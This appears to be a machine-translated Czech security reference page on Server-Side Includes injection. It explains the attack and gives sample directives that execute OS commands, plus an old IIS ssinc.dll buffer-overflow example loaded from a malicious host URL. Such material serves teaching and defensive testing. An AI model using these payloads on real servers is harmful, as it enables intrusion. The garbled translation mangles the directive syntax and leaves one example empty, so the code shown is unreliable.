Server Side Includes (SSI) Inject

Popis

SSI jsou směrnice přítomné na webových aplikací používaných ke krmení HTML stránky s dynamickým obsahem. Jsou podobné CGI, kromě toho, že SSI se používají k provedení nějaké akce před aktuální načtení stránky, nebo zatímco strana je být vizualizován. Aby k tomu, webový server analyzuje SSI před dodáním stránku uživatele.

Server-Side Includes útok umožňuje využívání webové aplikace vstříknutím skripty v HTML stránkách, nebo provádění libovolných kódy na dálku. To lze využít přes manipulaci SSI v použití v aplikaci, nebo vynutit jeho používání prostřednictvím polí uživatelských vstupů.

Je možné zkontrolovat, zda je aplikace správně ověřování vstupních datových polí vložením znaků, které se používají ve směrnicích SSI, jako jsou:

<! # = /. "-> A [a-zA-Z0-9] 

Dalším způsobem, jak zjistit, zda je aplikace zranitelné je ověřit přítomnost stránek s příponou. Stm,. Shtm a. Shtml. Nicméně, nedostatek tohoto druhu stránek, neznamená, že aplikace je chráněna před napadením SSI.

V každém případě, bude útok bude úspěšný pouze tehdy, web server umožňuje SSI provedení bez řádného ověření. To může vést k přístupu a manipulaci souborového systému a procesu v rámci povolení procesu webového serveru majitele.

Útočník může získat přístup k citlivým informacím, jako jsou hesla souborů, a provádět příkazy shellu. SSI direktivy jsou injekčně do vstupních polí a jsou zaslány na webový server. Webový server analyzuje a provádí směrnice před dodáním stránku. Poté, bude útok výsledek bude viditelný příštím načtení stránky pro uživatele prohlížeče.

Rizikové faktory

TBD

Příklady

Příklad 1

Příkazy používané k injekci SSI měnit v závislosti na serveru operační systém v použití. Následující příkazy představují syntaxi, která by měla být použita ke spuštění OS příkazů.

Linux:

Seznam soubory adresáře:

<-! # Exec cmd = "ls" ->

Přístup adresáře:


Windows:

Seznam soubory adresáře:

<-! # Exec cmd = "dir" ->

Přístup adresáře:

<- # Exec cmd =! "Cd C: \ admin \ dir">

Příklad 2

Další SSI příklady, které mohou být použity pro přístup a nastavení informace o serveru:

Chcete-li změnit chybovou zprávu výstup:

<-! # Config errmsg = "Soubor nebyl nalezen, informuje uživatele a heslo" ->

Chcete-li zobrazit aktuální dokument název souboru:

<-! # Echo var = "DOCUMENT_NAME" ->

Chcete-li zobrazit virtuální cestu a název souboru:

<-! # Echo var = "DOCUMENT_URI" ->

Pomocí "config" velení a "TimeFmt" parametr, je možné ovládat datum a čas výstupní formát:

<-! # Config TimeFmt = "% B% d% Y% r" ->

Pomocí "fsize" příkaz, je možné, aby vytisknout velikost zvoleného souboru:

<-! # Fsize file = "ssi.shtml" ->

Příklad 3

Starý zranitelnost ve verzích IIS 4.0 a 5.0 umožňuje útočníkovi získat systémová práva prostřednictvím selhání přetečení vyrovnávací paměti v dynamicky propojované knihovně (ssinc.dll). "Ssinc.dll" se používá k interpretu procesu Server-Side Includes. CVE 2001-0506 .

Vytvořením nebezpečné stránky obsahující kód SSI níže a nutit aplikaci načíst tuto stránku ( Path Traversal útok), je možné provést tento útok:

ssi_over.shtml

<-! # Include file = "UUUUUUUU ... UU" ->

PS: počet "U" musí být delší než 2049.

Nutit aplikace načíst ssi_over.shtml stránku:

Non-škodlivý URL:

www.vulnerablesite.org/index.asp?page=news.asp

Škodlivý URL:

www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml

Pokud IIS vrací prázdnou bílou stránku znamená to, že došlo k přetečení. V tomto případě může být útočník manipulovat postup tok a spustí libovolný kód.